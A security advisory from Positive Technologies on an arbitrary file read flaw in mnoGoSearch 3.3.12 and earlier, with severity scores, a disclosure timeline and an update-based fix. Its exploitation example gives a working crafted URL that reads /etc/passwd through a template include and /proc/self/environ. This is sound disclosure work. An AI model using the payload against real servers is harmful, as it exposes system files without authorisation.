PT-2013-17: Arbitrary Files Reading in mnoGoSearch

Vulnerable software

mnoGoSearch
Version: 3.3.12 and earlier

Application link:
http://www.mnogosearch.org/

Severity level

Severity level: High
Impact: Arbitrary Files Reading
Access Vector: Remote

CVSS v2:
Base Score: 7.8
Vector: (AV:N/AC:L/Au:N/C:C/I:N/A:N)

CVE: not assigned

Software description

mnoGoSearch is a universal Intranet and Internet search engine.

Vulnerability description

Positive Technologies experts have detected an Arbitrary Files Reading vulnerability in mnoGoSearch.

Passing startup parameters via QUERY_STRING (http://tools.ietf.org/html/draft-robinson-www-interface-00#section-7) for an application running in CGI mode can be used to set page template path variable "d". Generating a template file on the server and specifying it in the variable "d" can result in Arbitrary Files Reading via <!INCLUDE CONTENT="URI"> template structure.
---[ Exploitation example]
The /proc/self/environ file, in which part of the template is formed through the PATH_INFO environment variable, can be used as a template.

<!INCLUDE CONTENT="file:/etc/passwd">

http://host/cgi-bin/search.cgi/%0A%3C!--top--%3E%0A%3C!INCLUDE%20CONTENT=%22file:/etc/passwd%22%3E%0A%3C!--/top--%3E?-d/proc/self/environ

How to fix

Update your software up to the latest version.

Advisory status

15.02.2013 - Vendor gets vulnerability details
01.03.2013 - Vendor releases fixed version and details
05.03.2013 - Public disclosure

Credits

The vulnerabilities has discovered by Sergey Bobrov, Positive Research Center (Positive Technologies Company)

References

http://en.securitylab.ru/lab/PT-2013-17
http://www.mnogosearch.org/bugs/index.php?id=4818

Reports on the vulnerabilities previously discovered by Positive Research:

http://ptsecurity.com/research/advisory/
http://en.securitylab.ru/lab/